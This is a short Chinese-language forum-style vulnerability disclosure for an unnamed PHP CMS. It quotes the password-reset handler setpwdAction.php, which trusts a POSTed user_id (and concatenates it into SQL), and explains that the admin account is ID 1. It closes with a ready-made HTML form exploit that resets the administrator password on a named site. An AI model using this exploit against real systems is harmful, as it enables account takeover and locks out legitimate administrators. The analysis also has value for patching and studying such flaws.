作者:心灵

    感觉这个洞没什么用,就扔出来共享下,^_^!

    不是说这个漏洞鸡肋需要什么条件,而是直接改管理员密码了,等你进后台后,真正的管理员都进不到,更不知道新密码是什么了,所以才鸡肋。

    经典对白,看代码……

index\setpwdAction.php:

运行路径是:http://127.0.0.1/index.php/setpwd,呵呵,看上去有点奇特哦!

<?php
class setpwdAction extends security_normal {
   
    function action(){
        $loginname=$this->_getParamId(1);
        $forgetpwd=$this->_getParamId(2);

        global $conn;
        if($_POST['user_id']){  //-0-!  居然不是获取Session里的而是自己定义...漏洞所在
            $user=new model_User();   //连接数据库
            $user->setSubsection('WHERE user_id='.$_POST['user_id']); //查询会员ID 注意 是ID 不是name 默认管理员的ID 绝对是1
            $results=$user->doSelectOne();

            $password1=$_POST['pwd1'];  //密码
            $password2=$_POST['pwd2'];  //确认密码
            $pwd='';
            if($password1==$password2 and strlen($password1)>4)
            {
                $salt = md5(rand(100000, 999999).$_POST['loginname']);
                //这个数值用作多重加密密码 不错的加密思路 同时写在USER表里
                $pwd=sha1($salt.$password1);
                 //不解析。。。 就是加密
                
            }

            if($results)  //不解析
            {
                if(strlen($pwd)>0){    //没理由你打算空密码把?
                    $user->setSalt($salt);
                    $user->setPassword($pwd);
                }
                $user->setForgetpwd('');
                $results=$user->doUpdate();
                //写进去了...
                if($results)
                    $exeresult='密码修改成功,请使用新密码登录网站';
                else
                    $exeresult='验证错误,请联系网站管理员!';
//以下代码可以忽略

    分析完毕,admin 和会员同放在 USER 表里,所以这里直接修改了。

    后台登录地址:http://xx.com/admin.php/login。

EXP:

<form method="post" action="http://www.t00ls.net/index.php/setpwd" enctype="multipart/form-data" id="upload">
  <label>
    <input name="user_id" type="text" value="1" />
  </label>
  <label>
    <input name="pwd1" type="text" value="自己写" />
  </label>
  <label>
    <input name="pwd2" type="text" value="自己写" />
  </label>
  <label>
    <input name="loginname" type="text" value="admin" />
  </label>
  <div></div>
  <input name="respondids" value="确定修改 " class="coolbg np" type="submit">
</form>